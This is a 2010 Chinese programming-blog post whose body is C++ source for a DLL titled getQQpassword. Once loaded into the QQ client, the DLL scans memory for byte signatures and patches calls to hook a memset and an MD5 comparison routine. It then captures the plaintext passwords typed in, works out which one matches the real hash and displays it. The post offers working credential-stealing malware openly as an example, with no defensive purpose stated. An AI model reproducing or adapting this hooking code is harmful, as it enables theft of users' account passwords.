Posted on 2010-08-29 11:50
傅先生 阅读(491)
评论(0) 编辑 收藏 引用 所属分类:
常用编程小例
// getQQpassword.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include <string>
struct PasswordLink
{
char* password;
char* PWDhash;
PasswordLink* next;
};
PasswordLink* headPasswordlink=NULL;
PasswordLink* lastPasswordlink=NULL;
PVOID jmpbackCstring; //跳回远函数指针 用于下面call指令
void mymemset(char* Ppassword,int l1,int l2)//被HOOK的memset call
{
char *szhash;
__asm
{
mov eax, dword ptr [ebp+20];
mov szhash,eax; //获取HASH指针
}
//MessageBox(0,szhash,"MD5",16);
int PWDlen;
Ppassword=(char*)((int)Ppassword+24);
PWDlen=::strlen(Ppassword); //测试长度
if (PWDlen!=0)
{
if (headPasswordlink==NULL)//初始化表头
{
headPasswordlink=new(PasswordLink);
if (headPasswordlink!=NULL)
{
headPasswordlink->next=NULL;
lastPasswordlink=headPasswordlink;
}
}
PasswordLink* tmp;
tmp=new(PasswordLink);
if (tmp!=NULL)
{
lastPasswordlink->next=tmp;//将密码插入到链表
lastPasswordlink=tmp;
tmp->password=new(char[PWDlen+1]) ;
tmp->PWDhash=new(char[17]);
strcpy(tmp->password,Ppassword);//保存密码
memcpy((PVOID)tmp->PWDhash,(PVOID)szhash,16);
tmp->next=NULL;
}
Ppassword=(char*)((int)Ppassword-24);
memset((PVOID)Ppassword,l1,l2);
}
else
{
::MessageBox(0,"长度测试错误","错误",16);
}
}
void GetTrueMd5bufindex(char* lpmd5,int i)//获取真密码HASH
{
int classp;
__asm
{
mov classp,ecx;//保存thiscall 的this指针 thiscall的调用方式 把this指针放到ECX中~
}
char szPWD[18];
lastPasswordlink=headPasswordlink->next;
int j;
while(lastPasswordlink)//在这里将记录下来的混合有假密码的hash和真hash比较 找出真的密码
{
j=0;
while(lastPasswordlink->PWDhash[j]==lpmd5[j] && j<=16)
{
j++;
}
if (j>=15)
{
::MessageBox(0,lastPasswordlink->password,"成功截获密码",16);
}
lastPasswordlink=lastPasswordlink->next;
}
lastPasswordlink=headPasswordlink;
if (lastPasswordlink!=NULL)
{
//释放内存
lastPasswordlink=headPasswordlink->next;
delete headPasswordlink;
while(lastPasswordlink)
{
headPasswordlink=lastPasswordlink->next;
delete[] lastPasswordlink->password;
delete[] lastPasswordlink->PWDhash;
delete lastPasswordlink;
lastPasswordlink=headPasswordlink;
}
}
else
{
::MessageBox(0,"readpassword err","err",16);
}
__asm
{
mov ecx,classp;//恢复类指针
push i;
push lpmd5;
call jmpbackCstring;//跳回本来要去的CSTRING
}
return;
}
//查找特征码函数
PVOID FindCodeAddress(PVOID startAddress,int SerchLen,char* code,int codeLen)
{
char* buf =new(char[8192]);//读取的程序bin放入的 缓冲区 8KB
PVOID AddressIndex=startAddress; //开始地址
char *binBuf,*markcode; //临时指针
int i=0,j=0;
while((((int)startAddress+SerchLen)-(int)AddressIndex)>=4096)
{
if (::ReadProcessMemory((HANDLE)-1,AddressIndex,buf,4096,NULL))//先读取4KB放入缓冲区 4KB刚好为一个页能提高效率
{
for (i=0;i<=4095;i++) //在4KB中开始查找
{
binBuf=&buf[i]; //比较缓冲区的第I个字节
markcode=code; //特征码
j=0;
while(*binBuf==*markcode && j<=codeLen)//开始比较
{
if (i+codeLen>=4095)//处理跨界的情况~ 比如在第4095个字节 这里貌似有效率问题
{
ReadProcessMemory((HANDLE)-1,(PVOID)(int(AddressIndex)+4096),(PVOID)(int(buf)+4096),4096,NULL);
}
binBuf=(char*)((int)binBuf+1); //比较下一个字节 直到全部比较完毕
markcode=(char*)((int)markcode+1);
j++;
}
if (j==codeLen) //长度相等~就是找到了~
{
return PVOID((int)AddressIndex+i);
}
}
}
AddressIndex=PVOID((int)AddressIndex+4096);//查找下一个4KB
}
return NULL;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DWORD jmpbackme;
PVOID tmp;
// tmp=FindCodeAddress(PVOID(0x00001000),0x7f000000,(char*)"\x8D\xBC\x1F\x78\xA4\x6A\xD7",7);
// tmp=0;
// ::MessageBoxA(0,"ok","test",16);
// return TRUE;
tmp=FindCodeAddress(PVOID(0x50000000),0x20000000,(char*)"\x83\xC4\x14\xFF\x45\xE8\x83\x45\xDC\x10\x39\x75\xE8",13);
if (!tmp)
// {
// MessageBox(0,"i have found it !","提示",16);
// }
// else
{
MessageBox(0,"i can't find it","提示",16);
}
tmp=(PVOID)(int(tmp)-5);
jmpbackme=int(mymemset)-int(tmp)-5;
::WriteProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),(LPVOID)&jmpbackme,4,NULL);//hook memset CALL
tmp=FindCodeAddress(tmp,0x1000,(char*)"\x10\x8D\x4D\xDC\x4E\xC1\xE6\x04\x03\x75\xE4\x56",12);
tmp=(PVOID)(int(tmp)+12);
jmpbackme=int(GetTrueMd5bufindex)-int(tmp)-5;
if (!tmp)
// {
// MessageBox(0,"i have found it !","提示",16);
// }
// else
{
MessageBox(0,"i can't find it","提示",16);
}
::ReadProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),&jmpbackCstring,4,NULL);//保存原来指针用于后面回跳 cstring
jmpbackCstring=PVOID((int)jmpbackCstring+int(tmp));
::WriteProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),(LPVOID)&jmpbackme,4,NULL);//call cstring CALL
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}